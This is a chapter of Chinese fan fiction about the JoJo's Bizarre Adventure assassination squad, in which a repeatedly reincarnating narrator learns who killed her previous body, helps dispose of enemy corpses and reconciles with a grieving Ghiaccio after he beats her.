“我特地单独见你是为了一件事——关于琳赛的事。” “噢,那我知道了——米拉吉娅还活着的时候,我和组里通过一次电话,他们跟我说过了,老板的手下把我……” “不,”里苏特打断我,“杀死你的人是我,肢解你的人也是。其他组员还不知道这一点,但你必须知道,我不该向你隐瞒。” 这下我彻底愣住了。这也是我第一次听里苏特以这样的口吻跟我说话。我们都沉默了很长时间,期间只有坏掉的医疗器械发出的滴滴响声,安静地回荡在空荡荡的走廊。我反应了很长时间,才明白他的意思,虽然死亡是我多数尝试的必然结果,但这还是有点出乎我的意料。我问他,为什么? “你应该记得我们曾经在会议中讨论过‘死亡因果转移’的话题。老板的追查第一目标从索尔贝他们转移到你身上时,我就产生了这样的猜测——也许你恰好闯进了这个巧合。” 也许是没看到他预料中我的反应,我竟然难得地在里苏特脸上捕捉到一点意外的神色,“我以为你会生气。” 我生什么气?我感到好笑,“你不杀了我,老板也会杀了我,而且那帮人的手段可能比你更狠。” “可你曾经还质问我到底把你当什么。” 好吧,这话确实噎住我了。我说不出别的话来,毕竟这事在别人看来就是建立在里苏特把我当个工具人的前提下才能成立。 “……但这次不一样,你跟我都明白,琳赛格伦迟早会死,解决这个身份也是让我们少个麻烦。” 我的确不生气,这不是反话。反正我注定要死这一次,干脆就让我做那个替死的人——虽然听上去让人难以接受,但如果我事先知道这个计划,肯定也会毫不犹豫地答应下来。只不过…… “从后来发生的一切看来,似乎我的死并没有改变什么,一切还是按照原来的走向。我猜你特地找我也是为了这个?” “这的确就是我想要说的,关于‘巧合’——我们不能去人为创造这种巧合。” 里苏特总是很敏锐,在大多数时候,他都是能第一个发现问题所在的人。现在也一样,虽然过程有些残忍,但这向我们证明了想要操控所谓的命运比想象中要难。 我无法想象里苏特是怀着怎样的心情把“我”切成一块一块的,即使是在死后也一样。所以他们都不知道?——他们不知道。里苏特重复我的话。 “好吧,那这算是我们之间的秘密喽?”我半开玩笑地调侃他,“你最好多给我点好处,否则我可能会告诉别人,他们的队长才是那个真正的杀人犯。” “你不会。” 里苏特看着我,这句话被他说得很肯定,“我向组里的其他人隐瞒琳赛死亡的真相,并不是为了我自己。琳赛的死是一个很好的警戒,虽然没能达到真正的目的,但它足够残忍,至少在这段时间内其他人不会再顶着风险擅自行事。而且这也是为了你,伊莎贝拉。” “为了……我?” “在□□的世界里,死亡是最能表示忠心的几种行为之一。我知道组里的部分人还对你抱有偏见,但死比什么都直观,这对你更好地融入小队也有帮助。” 里苏特从我手里拿起那条链子,很庄重地、认真地,重新将它戴到我脖子上,还很贴心地根据我现在的体型调整了一下长度。我从他身上闻到很重的血腥味,这才意识到自己忘了去关注他的伤势了。 “我曾经的确对你缺乏信任,但你已经很好地向我表明了你的忠诚,以及你的决心——同时,我也比较希望你会对这次的事心怀芥蒂,甚至是感到愤怒也好。我不希望你对自己的定位是‘负责送死的人’。你已经证明了这一点:你和我们站在一起。” 我摸着冰凉的金属吊坠,熟悉的触感此刻对我来说却有些陌生。有那么一瞬间我感觉自己回到了十九岁,我站在雨里第一次敲响老据点的大门。里苏特给我的感觉就像那道生锈的门栓,始终是冰冷的,但愿意因为我淋雨而对我敞开。 — 我们回到病房与其他人汇合。我从他们的谈话中捕捉了一点先前战斗的信息,包括他们是怎么借助天堂城破解绿洲的替身攻击诸如此类。他们说这话的时候,我偷偷拽里苏特的袖子,小声问他,关于这个,其实我也有一个秘密,你想不想听? 我不知道。里苏特比了个安静的手势,用嘴型回答我——我只知道你很想说。 我愤愤地在他胳膊上拧了一下,力度不轻不重,刚好让他能察觉到。他微微皱眉,表示如果我一定想说的话,可以等下次开会的时候说。 可我就想让你一个人知道!你不知道秘密这个词的意思么?我借着小孩子的身体疯狂使性子,也不是非要说天堂城的事,只是单纯想报复他刚才差点把我吓到心肌梗死。 我们两个无声的拌嘴被眼尖的梅洛尼抓了个正着,他钻到我们两个中间,笑嘻嘻地勾住里苏特的肩膀,“你们两个偷偷说什么悄悄话呢?哎呀,我差点忘了,队长你有所不知,我们好不容易救了这女人一命,结果她第一句话就是找你,真够伤心——我说啊,你们两个该不会有什么秘密关系吧?” 所有人都笑起来,其中数杰拉德笑得最大声,我刚发现他们两个不知道什么时候又叠到一起去了。我嘴上说着你小心别把人家另一条腿也给压断,心里却有种劫后余生的实感,如果说刚才在病床上我还有些没回过神来,那么现在就是实打实地感受到自己走向了新的转角。 我跟他们一起笑,这次是发自内心的,虽然心底还隐隐有些对未来的担忧,但至少现在我们是胜者——就让活在黑暗里的人偶尔也享受一下日出吧。 里苏特在见我之前已经定了下一步的行动计划,这次有我在场又简单复述了一遍:他会负责处理尸体,并将乔可拉特和赛可的死定义为一场失踪,尽量将这件事转移到已经死去的米拉吉娅身上。 同时,考虑到这两位的地位不低,组织一定会追查这件事,索尔贝和杰拉德需要尽快伪造一个新身份,并且短期时间内不再与小队联系。这一点会由普罗修特负责。其他人分两批回组,预计两天内重新在那不勒斯集合。 这些计划其他人都听过一遍,所以这基本是只讲给我听的。我喜欢里苏特把一切都安排好的安全感,也喜欢这种真正把我包括在内的感觉。这次我终于可以参与到对话里,不用躲在楼梯边的墙角偷听了。 在里苏特说话的时候,我悄悄地抬头看了他一眼,他刚好低下头,我们的视线短暂地接触了一秒钟,就像我们交换了一个真正的秘密。 暖黄色的太阳从窗外升起来,给整个病房也渡上一层金色。莉齐手上的儿童手表也是坏的,始终指着五点整,导致我这些天对时间没有一点概念,但现在我知道,已经是新的一天了。 —to be continued— 17.莉齐罗曼所隐藏的 虽然暂时躲过了一个麻烦,但我们不得不面对新的问题——伪造现场。与仿佛经历了一场地震的医院大楼相比,处理乔可拉特和赛可的尸体都成了小事。 梅洛尼直接建议把这些全嫁祸给米拉吉娅。我干笑了两声,善意提醒他以那怪人的能力能不能做到这么大的破坏力先不说,现在过去了这么多天,她恐怕已经黏在地面上扣都扣不下来了。 贝西被我过于具体的描述恶心得直干呕,普罗修特倒难得没在乎他的反应,而是表示先把尸体藏起来,反正杀人抛尸的勾当我们也没少做,只要没有尸体,现场被破坏得再严重也只能定性为一场失踪。 这话很有道理,虽说两个大活人突然失踪的确诡异,调查出真相也是迟早的事,但至少能给我们多一点时间。我的脑子突然不合时宜地又开始回忆,我想起自杀的波尔波。就像曾经刚得知这个消息时那样,我不禁开始幻想监狱里的场景,想象着那些人是怎么把身形庞大的波尔波给搬出来,又是怎么把他塞进狭窄的火化炉里——也许需要把他切成很多小块? 我很没品地笑出了声,被普罗修特瞪了一眼,赶紧收起了嘴角。他问我笑什么,我哈哈两声什么也没说。等到那一天真正到来的时候,他也会跟我有同样的想法的,我想。 最后处理尸体的活还得我来,虽然我内心是十分抗拒往替身世界里藏尸这件事(毕竟我不知道它们会在里面腐烂还是怎么样),但眼下这的确是最快的办法。我远远地看见里苏特和其他人在一起,似乎还在说些什么,但我已经听到了我该听的,就不奢求听更多了。 我放出替身的入口,梅洛尼已经提前在这里等着我——这是我刚刚研究出来的新用法,天堂城就像个真正的地下世界,并非每次都重新创造,而是独立存在的。利用不同的通道位置,就能实现空间的共通。 可怕的莉齐罗曼,可怕的天堂之城。我意识到自己即便认识到了这个替身的强大之处,每个新发现还是能让我直冒冷汗。这个通体蓝绿色,布满乱七八糟格纹和贴纸的小家伙比我想象中的还要危险,如果多加练习和开发,或许它能做的还有更多。 莉齐不对替身加以控制,所以它就像条疯狗一样见人就咬,没有敌我之分,现在由我暂时接管了它,勉强能做到让它听话些。这是个悖论,如果能听从具体指令,天堂城当然会更强大,但如果莉齐是个会操控它的正常人,也就不会产生这样的替身。 过度思考让我头疼。我摇摇头,把这些乱七八糟的想法从脑海中甩出去。不远处,梅洛尼已经把两具尸体摆好放在地上,他看见我,兴致勃勃地摆摆手示意我过来,给我展示他的新发现:赛可的替身似乎是普通人也能看见的类型,所以他现在是□□的。 梅洛尼的关注点总是很奇怪。我看着地面上两具形状诡异的干尸,只觉得一阵恶心,尤其是赛可的,我不知道他先前经历了什么,整个身体从肩膀往上都血肉模糊,面部更是扭曲到几乎辨认不出五官。 “普罗修特从柜子里找到一瓶硫酸。”注意到我的视线,梅洛尼简短地解释道。我现在无比庆幸自己缺席了这场战斗。 我还在思考把他们直接丢在这儿的利与弊,为了不在之后使用能力时看到这两个东西,我还是决定放把火烧了了事——下一秒,我惊讶地发现草地上立刻燃起了大火,而我甚至没有操控替身。 梅洛尼和我都被吓了一跳,我们隔着火焰中燃烧的尸体面面相觑,空气中弥漫着烧焦的气味,而我们都无瑕顾及。火焰上方的画面因为空气过热而扭曲,我无视高温,试探着向前一步,火焰竟沿着我的脚步熄灭,从中直接给我开了一条路。这更印证了我先前的猜想:熟练使用后,天堂城是能够根据使用者的内心想法直接发动的。 我走到梅洛尼面前,看见他挑了挑眉,——你是不是还有什么秘密?梅洛尼实在很敏锐。 比起现在说,我更想等到回那不勒斯再解释这些复杂的事。他突然很认真地看向我,我被他盯得发毛,视线躲闪了几下。 梅洛尼拨开我的嘴唇,把手指探进我嘴里,停在我空的那块牙床。我感到他用指尖轻轻刮着红肿柔软的牙龈,牙神经传来奇怪的触感,一切的走向都非常莫名其妙。我刚要骂他,就看见他收回了手,将那节还带着我口水的手指轻轻含在嘴里。 我很确信自己尖叫出声了。我大叫着恶心,骂他突然发什么神经,他却没什么反应,像是自言自语:“恐怕这颗牙真的长不出来了。它作为一颗乳牙,已经陪伴了你很多年。” “呃,谢谢你告诉我?你是想听这个吗?” “不,我只想说——这真是di molto的奇妙!你,‘莉齐·罗曼’小姐,和伊莎贝拉,一个是长不大的孩子,一个是被困住的大人。你不觉得吗?” “梅洛尼,”我直言,“你用药了吧?” “嗯?怎么会呢,当然没有哦。” 他无辜地眨巴眨巴眼睛。我心想你他妈可能骗得过别人,但是可骗不过我,这家伙不嗑药的时候说两句话都得消音处理,可说不出这种略显高深的观点来。 我去你的。我骂他这个时候还能见缝插针地嗑点。让我看看你的眼睛就知道了,眼睛是不会说谎的——我踮起脚去够他的肩膀,作势要摘他的眼罩。 那你呢?梅洛尼借着目前的身高优势一只手按住我的头顶,两根手指放在我的眼皮上,力度不轻不重,“——你还跳过了一个问题没回答呢,你的眼睛也不会说谎吗?” 我抬眼看他,眼球转动时隔着眼皮滑过他的指尖,四目相对时他看着我笑了,“你总是有很多秘密,无论你是谁,这真的很有意思……就好像你总想抓住些什么。” 我因为这句话而浑身一震,感到脊背发凉。我还想说什么,他却若无其事地收回了手——走吧?其他人还在外面等着我们呢。 我只好解除了替身,心里像吃了只苍蝇一样难受憋闷又带点儿恶心。我们重新站上医院地面,该死的精神药物哲学家——看着梅洛尼的背影,我不由得腹诽道。 — 简单处理了尸体和现场,我们一行人动身前往车站,分两批回那不勒斯。由于天色尚早,最早的一班车也要一小时后。里苏特推着我走在最前面,一路上路过的行人纷纷对我侧目,露出同情的表情,也许我看上去真像个可怜的残疾孩子。 一直到有个穿学生制服的善良小男孩盯着我看了半天,然后把他刚买的冰淇淋塞到我那只好手里时我终于受不了了。我对这种作为弱势群体被施舍的感觉感到不自在,但我又的确站不起来,只能无能狂怒。 梅洛尼毫不留情地笑了起来,说我现在这样要是再发起烧来还得去医院挂儿科,我大叫闭嘴,转过头发现里苏特竟然也在笑。注意到我看他,他把手搭在我肩膀上,轻轻捏了捏,示意我放松下来。他看上去心情是真的不错,也许是因为我们奔波许久的目标终于有了一个结果——未来还是一片未知,但第一局的确是我们赢了,这么想着,我心情也轻快不少。 我把那快融化的冰淇淋给了贝西,他很开心地接过,下一秒就被普罗修特揪住了耳朵教训起来,大谈他的“我们是□□”论。贝西可能不太高兴,但我现在实打实地喜欢这种感觉,就像是我作为我自己在和组里的其他人一起活着。 列车到站的播报声响起,索尔贝和杰拉德也很适时地赶了过来。我对他们刚经历了如此轩然大波还有心情单独去转悠享受二人世界的精神表示敬佩。 “你要说什么来着?快点去说呀,我们再见面可能得好久之后了——”索尔贝被杰拉德撺掇着走到我前面,又被往前推了一步,一个趔趄差点摔我身上。他看着我半天,夹着拐杖的那只手攥紧又松开,“……你好点儿了吗?” “哎呀,他是想说你这次救了我们一命,还帮了组里大忙,实力真的不可小觑——还有,很抱歉之前那样对你,毕竟我们也不知道你的身份嘛。” 杰拉德又当起了翻译,有时候我真怀疑这俩人的话都被杰拉德一个人说完了,所以索尔贝才总是沉默的那一个,出任务的时候也往往是他负责动手,杰拉德负责计划和情报工作。 虽然我不觉得短短一句话能包含这么多含义,但这出短短的戏剧表演还是把我逗笑了。我说在乎什么,反正如果是我遇到同样的情况也不会相信的——最近你们也没好受到哪儿去,我们算扯平啦。 广播又响了一遍,提醒我们是时候上车了。我和里苏特先坐这一班车回去,梅洛尼和贝西等下一班车,而普罗修特会留在威尼斯,和索尔贝他们一起。他会处理他们身份的事项,安排他们原本的身份假死,以免老板过早起疑心。 我看看普罗修特,突然想到什么似的,问他,如果我先前真的把脑子给烧坏了,你们会怎么办? 还能怎么办?当然是第一时间解决你——你还想我们养着个智力缺陷的孩子吗?他毫不犹豫地呛了我一句。 虽然这答案在我意料之中,但我还是感觉背后一阵发凉。三年前的普罗修特比我印象中还要残忍。虽然这答案非常没情商,但毕竟如果我真成了那样,连基本的情报工作都做不了,那暗杀组也没有继续留着我的理由。不如说,即使我是伊莎贝拉,这一点也不会变。 我说我现在没傻,我只是有点不希望你们任何一个人走,我恨不得你们所有人都在我视线里好好地活着。普罗修特骂我整天说丧气话,沉默了一会,又补充了一句,“放心,谁也死不了。” 等他们几个走了,贝西又悄悄凑过来安慰我,“伊莎贝拉姐,别伤心,大哥他说话总是这样……先前要来救你的事就是他第一个提出的。”我看着他还拿着那个冰淇淋的滑稽样子,没忍住噗嗤一声笑了。 里苏特推着我往上车的队列里走,我最后回头看了其他人一眼,直到乘务员贴心地抬起我的轮椅帮我上车。身体悬空的几秒钟,我看向站台与列车的空隙,又想起昏迷时的那场梦。被绑在铁轨上碾压的疼痛在回忆中依旧清晰,还有乔鲁诺——这场诡异的梦究竟是他有意为之,还是我内心恐惧的投射? ——手掌传来温热的触感,我回过神来,发现自己已经坐在列车内,轮椅折叠着放在我脚边。里苏特坐在我旁边,他攥着我的手,“还好吗?”我摇摇头,表示自己没事,只是有点累了。我打了个哈欠,往他肩膀上一靠,他默许了我这个行为。 列车安静地行驶着,耳边只有车轮和铁轨的碰撞声。我依旧在思考,关于莉齐替身的事,关于索尔贝和杰拉德,关于我们要面对的下一个未知节点——思考得太多让我犯困,我迷迷糊糊的,竟然真的就这么睡着了。 我睡了很久,列车到站时已是正午,里苏特直到这时才把我叫起来。我睡眼惺忪,被抬下车时才意识到他为了不弄醒我就这么坐了几个小时,大叫了两声连连道歉,引得路人全都回头看我们两个,我又后知后觉感到一阵尴尬。 考虑到我行动不便,里苏特为我叫了辆出租车,并表示他还有组织的事情需要处理,大概今晚会回据点。——你一个人去?我依旧有些隐隐地担心,他安抚性地拍了拍我的脑袋,让我先回组,之后再与我联系。 我其实不情不愿,但想到之前的种种,我还是选择再相信里苏特一次,毕竟我现在身份特殊,也帮不上什么忙。我被塞进出租车的后座,跟轮椅挤在一起,他替我付了钱,关上门,我们简单地道了别,车很快地开走了。 我扒在后玻璃上,看里苏特的身影逐渐变成一个很小很小的点,最后一个转弯消失不见。老司机乐呵呵地跟我搭话,把我当真正的小朋友逗,我感觉很无语,但为了不暴露身份又只能配合,老实说,扮演小孩真的累死了。 经过漫长的十几分钟车程,终于到了据点所在附近的餐厅位置。我实在受够了来自长辈的絮絮叨叨,没等车停稳就拉开车门要走。我把轮椅先推下去,自己则小心地往下挪,果不其然摔了个跟头。我拍拍身上的土,艰难地单手打开轮椅,又转头喊了两声叔叔再见,总算是把那爱唠叨的司机送走了。 我一只手自己转动着轮子,小心翼翼地不让它偏向,歪歪扭扭地挪到巷子里。可到了据点门口我又犯了难——我上不去台阶。我又无语又想笑,曾经自信满满的我肯定没想到矮矮的两级台阶就能把自己困住。 我进行了短暂的心理斗争,还是放弃了爬着进门这个丢人的念头。我四下寻觅,从地上捡起一块小石头,瞄准了大门扔了过去。 石头被弹飞在我脚边,我在原地等了一会,门把手终于转动了两下——伊鲁索一脸阴沉地走出来,见到我这幅样子,愣了一下,瞬间换了一副嘲讽的表情,“哎呦,这不是最强最不服输的伊莎贝拉小姐么,怎么变成这样了?” 我回嘴,“你都能记住我名字了?我还以为你总那么不长记性呢。” 伊鲁索切了一声,但还是下了台阶来接我。我被抱着进了客厅,他骂骂咧咧地给我打开轮椅,说我难伺候。我坐上轮椅,他坐回沙发上,像个大爷似的二郎腿一翘,问我,你都经历些什么了? 这事儿得之后再说,因为实在是太长了,如果跟你们每个人都说一遍,那你们这两天都不用睡觉了。我说,比起这个,我更好奇我在你们眼中是什么样子——为什么我换了这么多身份,你们却总能第一时间接受? “什么接不接受的,一开始谁信你——次数多了,我们也就不得不接受组里多了个会复活会附体的幽灵的事实。不过你可真是——”伊鲁索努力地低下头看我,很明显他不太习惯跟小屁孩认真讲话,“——每次都能给我惊喜啊,伊莎贝拉。” “你的意思是我是鬼魂喽?” “当然,还是来自未来的那种,但是你的……呃,身体,每次都让人意想不到。” 我哈哈大笑,环顾四周,才注意到客厅里空无一人,据点里也很安静。我问出了心中的疑问:“其他人呢?霍尔马吉欧呢?” “哈?本大爷特地来迎接你,结果你一上来就找其他人是吧?”听到霍尔马吉欧,伊鲁索瞬间变了脸,阴阳怪气地说道,“亏本大爷还帮你收拾了一间真正的房间出来——” “诶?帮我吗?” “——操,不是特地给你准备的!就是把那些杂物搬到车库了而已,天天堆在那里我看着心烦,毕竟我每天都要路过……” 伊鲁索还是没变。我知道他生气肯定是听说了霍尔马吉欧跟我的事,或者是为之前组里打起来那事,应该是两者都有。不知道怎么的,我觉得这样的伊鲁索才更真实,也更有意思。 “少自作多情了!我可不帮你了,你自己看着办吧,爱找谁找谁,我看你怎么自己上二楼去——” “——聊什么呢,这么激动?” 听到熟悉的声音,我们两个同时转过头,霍尔马吉欧正靠着楼梯扶手笑眯眯地看着我们。他的视线在我们两个身上挨个扫过,最终停留在我身上,“哟,离家出走的小姑娘回来啦?” 我对他翻了个白眼。我就知道他会是这幅反应,只要地球不爆炸,霍尔马吉欧就永远是这幅无所谓的态度,好像一切事情都与他无关。也不知道这几天发生的事能不能在他毫无波澜的内心上溅起一丁点儿水花。 “你们好像都很自然地接受了我死了一次这件事?我还以为收到那么个包裹你们会受刺激呢。” “那的确是个很好的威胁手段,贝西当场直接吐了——但我们也必须冷静下来,汇报给队长,再看看其中有没有其他信息,毕竟作为□□……”霍尔马吉欧说着,突然想到了什么似的,停下了话头,“——比起这个,你快去看看加丘吧,那小子倒是状态很不好。从收到包裹的那天,他就把自己关在屋里不出来,一直到现在。” 我心里一紧,操,差点忘了还有这小子了。想必琳赛的死对他来说一定是个不轻的打击。霍尔马吉欧抬着我的轮椅帮我上楼,一边笑我行动不便的样子,一边不忘告诉我加丘的情况——他们两个试了挺多次,软硬兼施,但都没把他劝出来。 好吧,话里话外的意思就是解铃还须系铃人,我自己导致的麻烦还得我来解决。霍尔马吉欧把我放到禁闭的房门前,下楼还不忘招呼我,“我回楼下了,要是出什么事你就喊我,哥哥我帮你啊——” 我心想我才不喊你呢,我又不是不知道之前你们两个之间发生了什么。现在我是心不甘情不愿,但考虑到担心加丘的情况,我还是鼓起勇气,试探着敲了敲门。 — “——加丘?你在里面吗?” 房门紧闭着,回应我的是一片寂静,“别这样,是我,伊莎贝拉,你知道的——你就这么不想见我?” 我小心翼翼地转了一下门把手,好在门还没锁。我做贼似的拉开一条门缝,费劲地把轮椅挤进去。屋子里很冷,我打了个寒战,还没反应过来,下一秒一个明显开了刃的飞镖又直冲着我飞来。我侧过身惊险地躲过,看着它稳稳地扎在门后挂着的靶子正中央,哇哦,十环。 屋子里一片狼藉,要我说跟我在医院看到的场景也没什么差别。加丘远远地站在我对面,背对着碎掉的窗玻璃,头发凌乱,镜片反光让我看不清他的表情。我小心地避开地上的一堆碎玻璃和空易拉罐,往房间里挪了一点,顺带把门带上——考虑到之后可能会发生什么,我不太想让霍尔马吉欧加入然后重演上次的事故。 “呃……加丘?” 场面一度非常尴尬,我甚至不知道该拿什么话开场,咧开嘴朝他笑,又怕他觉得我挑衅他,赶紧把笑容收了回去。眼看他朝我走了过来,我条件反射般转着轮子往后退,立马举起双手:“你不想聊聊吗?我们一段时间没见了,我只是想看看你——” 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我只好一边蜷缩起来,以免他一脚踢碎我的内脏或者什么别的,一边试着跟他讲道理或者求情,“加丘,加丘,你冷静些——”我脸上挨了重重的一拳,“不,听我……”又是一拳,“…我们不能总是……”这拳落在我的胸口,“……够了,够了,操,停下!” 事实证明见效甚微。我被打得头晕目眩,完全没有还手之力。耳鸣占据了我的大部分意识,即便如此,我还得反过来时刻注意着他的状态,生怕他再呼吸过度或者别的。现在跟他说什么都没用,这个状态的加丘什么都听不进去,我只能一边把身体蜷起来一边祈祷他别真下死手。 “冷静点,加丘,你看着我——”我努力让自己看起来不那么难堪,“我这不是还活着么?琳赛一定会死的,老板已经注意到了她,更何况只是一个空壳,她不是我……” “对你来说她只是一个身份,可是对我们呢?那他妈是个活生生的人!从你被通缉回组到离开的那段时间,我们每天看的就是那张脸!” 这话把我噎了一下。的确,对于已经习惯现在状态的我来说,死亡不过是换一具身体换一个身份,并且我知道未来发生了什么,还有机会改变它。可对于组里的其他人来说,他们所经历的就要残忍得多,他们必须反复面对“我”的死亡。霍尔马吉欧和伊鲁索他们也并不是不在乎,只是不得不强迫自己习惯这一切。 凭我对加丘的了解,他一定很难以接受组里的人被以这种方式威胁和挑衅。我不禁想他打开那个盒子时是什么样的心情,会不会想起我离开据点时他故意跟我擦肩而过的那一刻,会不会后悔没多跟我说一句话?加丘阻止了我在组里寻死,但没能阻止我离开,想必他认为我会死都是因为自己没能劝住我——他是在自责。 加丘越说越激动,他攥紧了拳头,指甲深深嵌进手心,力度大到立刻就有血顺着手指的缝隙渗出来,“你这自大的家伙,是不是觉得只要多死几次就能救下所有人啊?!你他妈有几条命啊?” 我一走神,躲闪不及,脸上又挨了一拳,这一拳完全没收住力气,我很确信我的鼻梁被打断了。我痛叫一声,皱紧了眉头,感受着剧痛一点点蔓延。我脑袋靠着墙,低下头,剧烈地咳嗽起来,一部分鼻血就这么流进了我嘴里,又顺着嘴角流下来,同时大滴大滴的血顺着我的鼻腔往下滴,在地板上溅出一大滩鲜红。 也许是这场面太有视觉冲击力,加丘总算是清醒了些,我看见他瞪着眼睛,还没抡出来的下一拳堪堪地停在空中,他喘着气,胸膛剧烈地起伏着。我想赶紧趁这个机会劝劝他,尝试站起来却没力气,只能勉强靠着墙坐起来。 “加丘,听我说,我们——”我的鼻子还在流血,喉咙里积攒的血液过多,我不得不再次咳出一口血来,“……我们该聊聊。” 我从他镜片的反光里看见自己,和整间屋子一样一团糟,鼻青脸肿,满脸是血,额头的头发还被剃掉了一块。加丘像是做了长久的心理斗争,他长久地看着我,最终还是垂头丧气地松开了捏紧的拳头。 我总算松了一口气,拿袖子擦了一把脸上的血,抬起头看他,我注意到他在掐自己的手心。 “你好点儿了吗?……在打我一顿之后?” “哈?” 加丘简直要被我这话气笑了,“你这是什么意思?假装自己很可怜?” “不,小子,如果打我一顿能让你好受点儿,那也不是不行,毕竟这就是曾经很长一段时间我们的相处方式……” 那不就说明你在组里的地位是最底层吗?他嗤笑了一声,表示不屑,我又嘴比脑子快的下意识还嘴,说那可不是,恐怕我是除了你那些藏在床底下的碟片里的裸体女演员外参与他青少年阶段最多的女人了。 眼看他恼羞成怒骂了一句又想动手,我赶紧接着说下去,“——加丘,加丘,我的意思是我们认识很长时间了,我知道你刚进组的时候什么样,比现在更严重——你知不知道应激的野猫发起疯来是什么样子?跟那个差不多。” “我□□的,猫什么猫——你怎么保证自己不是在瞎编故事?” “我干嘛要拿这种事骗你?我进组比你早多了,难道你想找队长来确认吗?也不是不行,如果你不嫌丢人的话——” 我故意这么刺激他,他说你敢我就杀了你,我说你杀呗,反正我是杀不死的。我很满意地看到他咬牙切齿的表情,指了指他身后的床,“不如我们坐下聊吧?” 加丘满脸的不情愿,但还是坐下了,我艰难地扶着墙起身,差点摔倒,情急之下只得放替身出来扶了自己一把。加丘一点儿没有扶我的意思,倒是看见替身时眼睛一亮,“喂,这是——” “嗯哼,就是你想的那样,但我们能不能等会儿再说这个?” 我其实挺希望里苏特能把莉齐替身的事放在一场所有人都在的会议上讲,因为挨个单独去解释实在是有些麻烦,能力是次要的,主要是它真正发挥作用的条件和莉齐本人的故事——想到这些我不免得又开始头痛。 我跳过了这个话题,在加丘旁边坐下,他往旁边挪了一下,我也就很体面地往反方向挪,我们中间很自然地隔开了二十厘米左右的距离。 “我知道你曾经可没少在组里动手,其中也包括我,直到后来——某次任务的时候霍尔马吉欧救了你一次,差点因此截了肢,从此之后你就很少在组里起冲突了。虽然你还是会砸东西,但你没再对我下过死手。” “操,根本没有那回事儿!”加丘大叫道。 “你当然不记得,因为这事是之后才发生的。” “莫名其妙……你他妈到底想说什么?” 我想说我明白你的心情,加丘——我把还能动的右手搭在他的手上,被他一把甩开,又死缠烂打地再放了上去。加丘的手是冰凉的。这次他倒是没躲,凑近我才看清他眼下的黑眼圈和眼中的血丝,这么多天的神经高度紧张让他很疲惫。 “我明白你的想法,在我的记忆中,也曾经有一段类似的过往——但这都不重要,我只想说事情会向好的方向发展,你也会走出来,我保证,”我拍拍他的后背,“我们得记住琳赛的死,这是一个教训没错,但同时我们还得往前走。” 里苏特曾经对我说过类似的话,那时我刚进组,正因为推荐人引火烧身的死整天担惊受怕。我不思念驱赶我的村庄,不思念排挤我的家庭,但我想家。 家是什么?我不知道,那时我还没有具体的概念。我只是哭,固执地一次又一次重复,说我想家。里苏特不擅长安慰人,他只是陪我一起坐着,夜晚的凉风吹动窗帘,他告诉我,成长的第一步就是走出过去,只有走出过去,才能找到新的起点。 “……我只是不甘心。” 加丘沉默了好一会儿,最终只憋出这么一句话来。他转过头看向我,“明明是我们掌握的情报更多,明明我们的实力更强……该赢的是我们才对!…” 他没再说话,把头埋得很低。我问他你哭了?他骂我滚,说才没有。 “嘘,放松点儿,小子,”我攥着他的手,抚摸他指甲边缘血淋淋的伤口,“你想不想听未来的事?那时候你已经能够独当一面,普罗修特也不会再在任务方面约束你了——噢,还有,你还有了自己的跑车,特别拉风,还有……总之,未来的一切都好着呢,琳赛的事代表不了什么,你说呢?” 我不想让他知道再往后的事,就像他对死去的琳赛的态度一样,他为了给我一个逃脱的机会被钉死在路灯上的模样也是我长久的梦魇。加丘骂了一句,说感觉就像一个装成熟的小孩在跟他讲道理,他最讨厌小孩了。 我看着他发红的眼圈,想了一下,还是放下了准备给他擦眼泪的手,维护一下他小小的自尊。我叹了口气,心想对我来说,你才是小孩呢。 —to be continued—